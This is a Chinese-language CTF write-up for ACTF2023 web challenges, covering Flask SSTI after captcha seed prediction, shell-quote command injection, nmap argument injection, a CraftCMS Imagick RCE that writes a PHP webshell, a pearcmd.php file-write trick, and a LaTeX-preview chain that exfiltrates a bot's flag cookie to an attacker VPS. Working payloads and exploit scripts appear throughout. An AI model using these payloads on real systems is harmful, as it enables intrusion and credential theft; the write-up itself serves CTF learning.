ACTF2023

ACTF2023 (复现)

前言

craftcms是我唯一有思路的题目,但我还是没做出来,这次感觉Volcano大佬们有点忙,在星期天下午战绩不佳,但随着Lolita大佬解出第一道web题,由lolitaunknownlyk师傅三人形成的web主力军一路高歌猛进,在比赛结束前三小时的凌晨六点AK了web题目

这次比赛给我的反思就是代码审计能力不足,就是连看懂他的功能是什么都很困难,不要说找漏洞了

story

from flask import Flask, render_template_string, jsonify, request, session, render_template, redirect
import random
from utils.captcha import Captcha, generate_code
from utils.minic import *
app = Flask(__name__)
app.config['SECRET_KEY'] = ''

@app.route('/', methods=['GET', 'POST'])
def index():
    username = session.get('username', '')

    if username != "" and username is not None:
        return render_template("home.html")
    return render_template('index.html')

@app.route('/captcha')
def captcha():
    gen = Captcha(200, 80)
    buf , captcha_text = gen.generate()

    session['captcha'] = captcha_text
    return buf.getvalue(), 200, {
        'Content-Type': 'image/png',
        'Content-Length': str(len(buf.getvalue()))
    }

@app.route('/login', methods=['POST'])
def login():
    username = request.json.get('username', '')
    captcha = request.json.get('captcha', '').upper()

    if captcha == session.get('captcha', '').upper():
        session['username'] = username
        return jsonify({'status': 'success', 'message': 'login success'})
    return jsonify({'status': 'error', 'message': 'captcha error'}), 400

@app.route('/vip', methods=['POST'])
def vip():
    captcha = generate_code()
    captcha_user = request.json.get('captcha', '')
    if captcha == captcha_user:
        session['vip'] = True
    return render_template("home.html")

@app.route('/write', methods=['POST','GET'])
def rename():
    if request.method == "GET":
        return redirect('/')

    story = request.json.get('story', '') 
    if session.get('vip', ''):

        if not minic_waf(story):
            session['username'] = ""
            session['vip'] = False
            return jsonify({'status': 'error', 'message': 'no way~~~'})

        session['story'] = story
        return jsonify({'status': 'success', 'message': 'success'})

    return jsonify({'status': 'error', 'message': 'Please become a VIP first.'}), 400

@app.route('/story', methods=['GET'])
def story():
    story = session.get('story','')
    if story is not None and story != "":
        tpl = open('templates/story.html', 'r').read()
        return render_template_string(tpl % story) 
    return redirect("/")       


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5001)

大概就是成为VIP然后进行SSTI

这里如何成为vip就是一大难点

下面这两个路由是题目的关键

@app.route('/captcha')
def captcha():
    gen = Captcha(200, 80)
    buf , captcha_text = gen.generate()

    session['captcha'] = captcha_text
    return buf.getvalue(), 200, {
        'Content-Type': 'image/png',
        'Content-Length': str(len(buf.getvalue()))
    }

@app.route('/vip', methods=['POST'])
def vip():
    captcha = generate_code()
    captcha_user = request.json.get('captcha', '')
    if captcha == captcha_user:
        session['vip'] = True
    return render_template("home.html")
class Captcha:
    lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]

    def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4, 
                 fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
        self._width = width
        self._height = height
        self._length = length
        self._key = (key or int(time.time())) + random.randint(1,100)
        self._fonts = fonts or DEFAULT_FONTS
        self._font_sizes = font_sizes or (42, 50, 56)
        self._truefonts: t.List[FreeTypeFont] = []
        random.seed(self._key)
        .......

这个类中调用了许多的random模块中的方法,并且我们在初始化的时候看到了random.seed(self._key)

设置了种子,那么随机就变得不再随机,一切变得有迹可循

只要能找到种子,就能根据种子生成成为VIP时需要的验证码

根据/Captcha路由中的

gen = Captcha(200, 80)
buf , captcha_text = gen.generate()

根据他们对应方法的逻辑和初始化时(key or int(time.time())) + random.randint(1,100)的逻辑,可以写出下面爆破种子的脚本


def random_color(start: int, end: int, x=None):
    red = random.randint(start, end)
    green = random.randint(start, end)
    blue = random.randint(start, end)
    return (red, green, blue)

def generate_code(length: int = 4):
    characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    return ''.join(random.choice(characters) for _ in range(length))

def test(xt):
    random.seed(xt)
    code = generate_code()
    background = random_color(238, 255)
    color = random_color(10, 200, random.randint(220, 255))
    return code

mcode = input("lastest code: ").upper()
now = int(time.time())
now -=20        #这一步是为了防止随机数过小,在你输入验证码之前就过时间了
res = 0
for i in range(120):
    ccode = test(now + i).upper()
    if ccode == mcode:
        print(now + i)
        res = now + i
        break

我的盲点

random设置了种子后,是每次运行文件的输出结果都一样,而不是每次随机函数生成的结果一样

import random
random.seed(0)
print(random.random())
print(random.random())

#0.8444218515250481
#0.7579544029403025

不管运行多少次,都是上面两个结果

import random
random.seed(0)
print(random.random()) 
random.seed(0)
print(random.random())

#0.8444218515250481
#0.8444218515250481


import random
random.seed(0)
print(random.random())
random.seed(0)
random.randint(1,100)
print(random.random())

#0.8444218515250481
#0.7579544029403025

可以发现random方法的生成结果与设置种子之间调用了多少次random模块中的方法有关(这一部分很重要,看不懂我说的意思可以先去搜索一下)

继续

我们根据上面的脚本拿到了种子,然后拿着种子去调用generate_code方法来获取VIP所要的验证码是不成功的

因为Captcha类中调用了许多random模块中的方法,每调用一次都会影响下一个random模块方法的生成值(只要是random中的方法都会影响)

所以我们在爆破的同时还要重走一遍题目生成验证码的过程,然后调用一次generate_code方法即可

重走过程就是跟题目一样执行这两行即可

gen = Captcha(200,80,key=xt)
buf,captcha_text = gen.generate()

什么意思呢,就是使用爆破的每一个种子生成验证码,若生成相同的即可在爆破出种子的同时也完成了走生成验证码的流程(退出循环),之后调用一次generate_code就是VIP要的验证码

于是我们要修改上面的脚本

def random_color(start: int, end: int, x=None):
    red = random.randint(start, end)
    green = random.randint(start, end)
    blue = random.randint(start, end)
    return (red, green, blue)

def generate_code(length: int = 4):
    characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    return ''.join(random.choice(characters) for _ in range(length))

def test(xt):
    gen = Captcha(200,80,key=xt)
    buf,captcha_text = gen.generate()
    return captcha_text

mcode = input("lastest code: ").upper()
now = int(time.time())
now -=20
res = 0
for i in range(120):
    ccode = test(now + i).upper()
    if ccode == mcode:
        print(now + i)
        res = now + i
        break
    

url = f"http://124.70.33.170:23001/vip"
xxcode = generate_code()
print(xxcode)
payload = {
    "captcha": xxcode
}
headers = {
    #"cookie": xcookie
}
response = requests.request("POST", url, headers=headers, json=payload, verify=False)
print(response.text)
#xcookie = response.headers['set-cookie']
print("exploitcookie:", response.headers)

这里爆破出种子并发送到vip路由要是同一步进行 (也可以打印出vip的验证码,然后手动输入)

原因还是设置种子后调用random模块中的方法会影响其他random方法的生成结果

即使是同一个种子,设置种子执行多个random中的方法后调用generate_code和设置种子直接调用generate_code生成的结果肯定不同

所以我们的脚本其实很细节,爆破出种子后退出循环(与此同时也完成了重走题目生成验证码的过程),中间没有退出然后调用generate_code,这样就保留了其他random方法的执行

image-20231031000306188

接着

然后就是ssti的waf,给了六个waf,用random随机选 (这么看好像就不是那么随机了,但还是搞不太懂,别人好像说这个按照随便一个waf写就行,跟没有似的)

直接给出lolita大佬的脚本

import requests

payload = '''{{((lipsum|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95)))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('%c%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,98,117,105,108,116,105,110,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('ev'+'al')('%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c'|format(10,95,95,105,109,112,111,114,116,95,95,40,34,111,115,34,41,46,112,111,112,101,110,40,34,99,97,116,32,102,108,97,103,34,41,46,114,101,97,100,40,41,10)))}}'''
print(payload)

rule = [
    ['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'],                   # rule 1
    ['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'],              # rule 2
    ['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'],                           # rule 3
    ['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'],                          # rule 4
    ['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'],                          # rule 5
    ['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem']                  # rule 6
]

def singel_waf(input, rules):
    input = input.lower()
    for rule in rules:
        if rule in input:
            return False
    return True

for r in rule:
    print(singel_waf(payload, r))
    

url = f"http://124.70.33.170:23001/write"
payload = {
    "story": payload
}
headers = {
    "cookie": "session=eyJ2aXAiOnRydWV9.ZT6nUA.4tOazSMnwCaaCePfys-d64iI_Ks;"
}

while True:
    try:
        response = requests.request("POST", url, headers=headers, json=payload, verify=False, timeout = (1,1))
        if response.json()['status'] != 'error':
            print(response.headers)
            exit()
        print('Failed')
    except :
        a = 1
        print('Error')
//boogipop大佬的payload,    这意思不就是只禁用了[]或.吗??

{{lipsum|attr('__globals__')|attr('__getit'+'em__')('os')|attr('popen')('cat flag')|attr('read')()}}

还有的就是普通拼接就完事了

cookie修改为上一个脚本中拿到的cookie (上一个脚本要运行多次才能拿到cookie,这一个也要等一会)

image-20231031000510854

等他出现响应的cookie,拿着session到/story路由中即可

image-20231031000034338

Ave Mujica’s Masquerade

MyGO’s Live!!!!!看似是母子题,但其实是完全不同的,题目中也说到了

if (url.includes(":")) {
     const parts = url.split(":");
     host = parts[0];
     port = parts.slice(1).join(":");
   } else {
     host = url;
   }
   if (port) {
     command = shellQuote.quote(["nmap", "-p", port, host]); // Construct the shell command
   } else {
     command = shellQuote.quote(["nmap", "-p", "80", host]);
   }
   nmap = spawn("bash", ["-c", command]);

这题其实是shell-quote在1.7.2版本的CVE

https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html

在Linux环境下自己测试测试出成功即可(哭了,我的虚拟机不会提示,不太懂)

自己测不出来

他这转换原理不太懂,总之根据`对语句进行解析,若解析到最后是

`command`即可执行命令

所以要适当利用\进行转义,而\又可以由shell-quote来生成

于是lolita大佬最终payload

1:`:`\`echo$IFS$9cp$IFS$9/flag*$IFS$9/app/public/1.html\```:`

若本地测试时要对\进行转义

var url="1:`:`\\`echo$IFS$9cp$IFS$9/flag*$IFS$9/app/public/1.html\\```:`"

image-20231031001733313

MyGO’s Live!!!!!

function escaped(c) {
  if (c == ' ')
    return '\\ ';
  if (c == '$')
    return '\\$';
  if (c == '`')
    return '\\`';
  if (c == '"')
    return '\\"';
  if (c == '\\')
    return '\\\\';
  if (c == '|')
    return '\\|';
  if (c == '&')
    return '\\&';
  if (c == ';')
    return '\\;';
  if (c == '<')
    return '\\<';
  if (c == '>')
    return '\\>';
  if (c == '(')
    return '\\(';
  if (c == ')')
    return '\\)';
  if (c == "'")
    return '\\\'';
  if (c == "\n")
    return '\\n';
  if (c == "*")
    return '\\*';
  else
    return c;
}
	.......
	
    if (url.includes(":")) {
      const parts = url.split(":");
      host = parts[0];
      port = parts.slice(1).join(":");
    } else {
      host = url;
    }
    let command = "";
    // console.log(host);
    // console.log(port);

    if (port) {
      if (isNaN(parseInt(port))) {
        res.send("我喜欢你");
        return;
      }
      command = ["nmap", "-p", port, host].join(" "); // Construct the shell command
    } else {
      command = ["nmap", "-p", "80", host].join(" ");
    }

    var fdout = fs.openSync('stdout.log', 'a');
    var fderr = fs.openSync('stderr.log', 'a');
    nmap = spawn("bash", ["-c", command], {stdio: [0,fdout,fderr] } );

。。。上车题,首先开了报错日志,命令输入错误就能看报错日志,别人的flag就在里面。。。

然后有人还直接把flag覆盖在了index.html,上线就一个flag摆在你面前。。。。

虽然上了车,但还是不会,结果lolita大佬看了一眼就知道是用数组

?url[]=;ls /
?url[]=;cat%20/flag-07349212197f72ae

image-20231031002225089

作者题目灵感来源的题目的解法(上传文件),有兴趣的可以看看

Scanner Service | Siunam’s Website (siunam321.github.io)

craftcms

(呜呜,明明都找到文章了,就是写不出来)

CVE-2023-41892 CraftCMS远程代码执行漏洞分析 | Bmth’s blog (bmth666.cn)

p神的知识星球新trick,imagick的RCE

麻了,看文章就行了

给出Lolita大佬成功的方案

第一个imagick往/tmp写php马
----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/tmp/lolita.php">
</image>
----------------------------974726398307238472515955--

第二包调用/tmp的这个文件
http://61.147.171.105:62732/?cmd=/readflag
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as xx":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/lolita.php"}]}}

写到/tmp目录下,刚开始一直写到/var/www/html/web(当前目录)下(不知道行不行)

然后文件包含木马就行

那说到文件包含,就又出现一种写法———–pearcmd.php

POST /+config-create+/&/<?=eval($_POST[1])?>+/tmp/hello.php HTTP/1.1
Host: 61.147.171.105:51172
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as xx":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/usr/local/lib/php/pearcmd.php"}]}}

没环境复现了,如果pearcmd路径错了就换其他的试一下

easy latex

完全没有思路,根本不会这种要用到自己服务器的东西

参考ACTF2023 | unknown’s Blogunknown师傅讲的比较细致

const express = require('express')
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser')
const rateLimit = require('express-rate-limit');
const ejs = require('ejs')
const jwt = require('./utils/jwt')
const crypto = require('crypto')
const fs = require('fs')
const { Store } = require('./utils/store')
const { visit } = require('./bot')

const VIP_URL = process.env.VIP_URL
    ?? console.log('no VIP_URL set, use default')
    ?? 'https://ys.mihoyo.com/'

const PORT = 3000
const notes = new Store()
const app = express()
const md5 = (data) => crypto.createHash('md5').update(data).digest('hex')

app.set('view engine', 'html')
app.engine('html', ejs.renderFile);

function sign(payload) {
    const prv_key = fs.readFileSync('prv.key')
    let token = jwt.sign(payload, prv_key, { algorithm: 'RS256' })
    return token
}

function verify(token) {
    const pub_key = fs.readFileSync('pub.key')
    try {
        jwt.verify(token, pub_key)
        return true
    } catch (e) {
        console.log(e)
        return false
    }
}

const getNonce = (l) => {
    return crypto.randomBytes(Math.ceil(l / 2)).toString('hex')
}

app.use(bodyParser.urlencoded({ extended: true }))
app.use(cookieParser())

const reportLimiter = rateLimit({
    windowMs: 5 * 1000,
    max: 1,
});

const auth = (req, res, next) => {
    let token = req.cookies.token
    if (!token) {
        res.send('login required')
        return
    }
    if (!verify(token)) {
        res.send('illegal token')
        return
    }
    let claims = jwt.decode(token)
    req.session = claims
    next()
}

app.use(express.static('static'))

app.get('/login', (req, res) => {
    return res.render('login')
})

app.post('/login', (req, res) => {
    let { username, password } = req.body

    if (md5(username) != password) {
        res.render('login', { msg: 'login failed' })
        return
    }

    let token = sign({ username, isVip: false })
    res.cookie('token', token)
    res.redirect('/')
})

app.get('/', (req, res) => {
    res.render('index.html', { login: !!req.cookies.token })
})

app.get('/preview', (req, res) => {
    let { tex, theme } = req.query
    if (!tex) {
        tex = 'Today is \\today.'
    }
    const nonce = getNonce(16)
    let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
    if (theme) {
        base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
    }
    res.render('preview.html', { tex, nonce, base })
})

app.post('/note', auth, (req, res) => {
    let { tex, theme } = req.body
    if (!tex) {
        res.send('empty tex')
        return
    }
    if (!theme || !req.session.isVip) {
        theme = ''
    }
    const id = notes.add({ tex, theme })
    let msg = (!req.body.theme || req.session.isVip) ? '' : 'Be VIP to enable theme setting!'
    msg += `\nYour note link: http://${req.headers.host}/note/${id}`
    msg += `\nShare it via http://${req.headers.host}/share/${id}`
    res.send(msg.trim())
})

app.get('/note/:id', (req, res) => {
    const note = notes.get(req.params.id)
    if (!note) {
        res.send('note not found');
        return
    }
    const { tex, theme } = note
    const nonce = getNonce(16)
    let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
    let theme_url = `http://${req.headers.host}/theme/`
    if (theme) {
        base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
    }
    res.render('note.html', { tex, nonce, base, theme_url })
})

app.post('/vip', auth, async (req, res) => {
    let username = req.session.username
    let { code } = req.body
    let vip_url = VIP_URL
    let data = await (await fetch(new URL(username, vip_url), {
        method: 'POST',
        headers: {
            Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
        },
        body: new URLSearchParams({ code })
    })).text()
    if ('ok' == data) {
        res.cookie('token', sign({ username, isVip: true }))
        res.send('Congratulation! You are VIP now.')
    } else {
        res.send(data)
    }
})

app.get('/share/:id', reportLimiter, async (req, res) => {
    const { id } = req.params
    if (!id) {
        res.send('no note id specified')
        return
    }
    const url = `http://localhost:${PORT}/note/${id}`
    try {
        await visit(url)
        res.send('done')
    } catch (e) {
        console.log(e)
        res.send('something error')
    }
})

app.get('/flag', (req, res) => {
    res.send('Genshin start!')
})

app.listen(PORT, '0.0.0.0', () => {
    console.log(`listen on ${PORT}`)
}

开始

const APP_HOST = 'localhost'
const APP_PORT = 3000

const visit = async (url) => {
    console.log(`start: ${url}`)
    const browser = await puppeteer.launch({
        headless: 'new',
        executablePath: '/usr/bin/google-chrome-stable',
        args: ['--no-sandbox'],
    })

    const ctx = await browser.createIncognitoBrowserContext();
    try{
        const page = await ctx.newPage();
        await page.setCookie({
            name: 'flag',
            value: FLAG,
            domain: `${APP_HOST}:${APP_PORT}`,
            httpOnly: true
        })
        await page.goto(url, {timeout: 5000})
        await sleep(3000)
        await page.close()
    }catch(e){
        console.log(e);
    }

可以看到flag被设置在了cookie中,并且设定了域

unknown师傅的浏览器请求实验提到携带cookie的条件

协议跨域(跨域资源访问CORS)

这个最简单,被访问域名在webservice配置跨域访问的header即可。
会用到两个header
Access-Control-Allow-Origin:   * | 访问域名;
Access-Control-Allow-Methods:  GET | POST | PUT | DELETE;

先找到visit,发现url正好满足domain的要求,这里便是入口点

app.get('/share/:id', reportLimiter, async (req, res) => {
    const { id } = req.params
    if (!id) {
        res.send('no note id specified')
        return
    }
    const url = `http://localhost:${PORT}/note/${id}`
    try {
        await visit(url)
        res.send('done')
    } catch (e) {
        console.log(e)
        res.send('something error')
    }
})

然后大佬十分敏感的发现id可以进行穿越

接着分析其他代码,可以发现三处new URL(),借用unknown师傅测试结果

new URL("1", `http://${req.headers.host}/theme/`)
这个url是http://${req.headers.host}/theme/1

new URL("http://vps:port/", `http://${req.headers.host}/theme/`)
这个url就是http://vps:port/,第二个参数不生效。

我们可以控制为自己的服务器

vip路由处的

app.post('/vip', auth, async (req, res) => {
    let username = req.session.username
    let data = await (await fetch(new URL(username, vip_url), {
        method: 'POST',
        headers: {
            Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
        },
        body: new URLSearchParams({ code })
    })).text()

可以通过login时的username来控制为我们的服务器的地址,并且此处发送了cookie数据,那么这里监听时就可以看到发送的cookie,flag就会在其中,这里就是我们最终要到达的地方

但是由于share路由处时GET请求,此处为POST请求,穿越时无法满足,所以先找其他地方

CSP

note路由也有new URL

app.get('/note/:id', (req, res) => {
    const note = notes.get(req.params.id)
    const { tex, theme } = note
    if (theme) {
        base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
    }
    res.render('note.html', { tex, nonce, base, theme_url })
})

但有趣的是,在note.html中有这样一段

<meta http-equiv="Content-Security-Policy"
        content="default-src <%= theme_url %> https://getbootstrap.com https://cdn.jsdelivr.net 'nonce-<%= nonce %>';">

内容安全策略CSP)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等

即使成为了vip,设置了theme为自己服务器上的js代码,令bot去访问也无法引用执行

最后只剩下preview处的

app.get('/preview', (req, res) => {
    let { tex, theme } = req.query

    if (theme) {
        base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
    }
    res.render('preview.html', { tex, nonce, base })
})

简直完美

我们把服务器地址放上去,然后拿burp抓包发现它在访问我们服务器上的一些文件

image-20231101234943726

关键就在这里,我们在服务器上按照路径写一个base.js,让他去请求vip路由,

//也可以不写login,先手动登录,再把cookie放进来,总之核心在于username被放在cookie中

fetch('/login',{
        method: "POST",
        redirect:"follow",
        //credentials: "include",           大佬们都加了这个
        headers:{
                'Content-Type': "application/x-www-form-urlencoded"      	
                },
            body:"username=http://vps:port&password=(http://vps:port的md5)"
});
console.log('OK');
fetch('/vip',{
        method: "POST"
        //credentials: "include"
})

credentials属性指定是否发送 Cookie。可能的取值如下:

  • same-origin:默认值,同源请求时发送 Cookie,跨域请求时不发送。
  • include:不管同源请求,还是跨域请求,一律发送 Cookie。
  • omit:一律不发送。

unknown总结

  • 浏览器发请求时是否带cookie要看domain和path,而domain即host:port

    加了credentials: 'include',domain只包括host。所以满足host相同,path为path及其子path时,就带cookie。

最后python启一个http服务给preview路由进行访问

nc监听username对应的端口

image-20231101235803885

但奇怪的是我这里连测试的flag都没有,不知道是不是其环境时出了什么错

hooks

使用gitlab的webhook来请求

jenkins的RCE,利用groovy

唉,算了


ACTF2023
https://zer0peach.github.io/2023/10/30/ACTF2023/
作者
Zer0peach
发布于
2023年10月30日
许可协议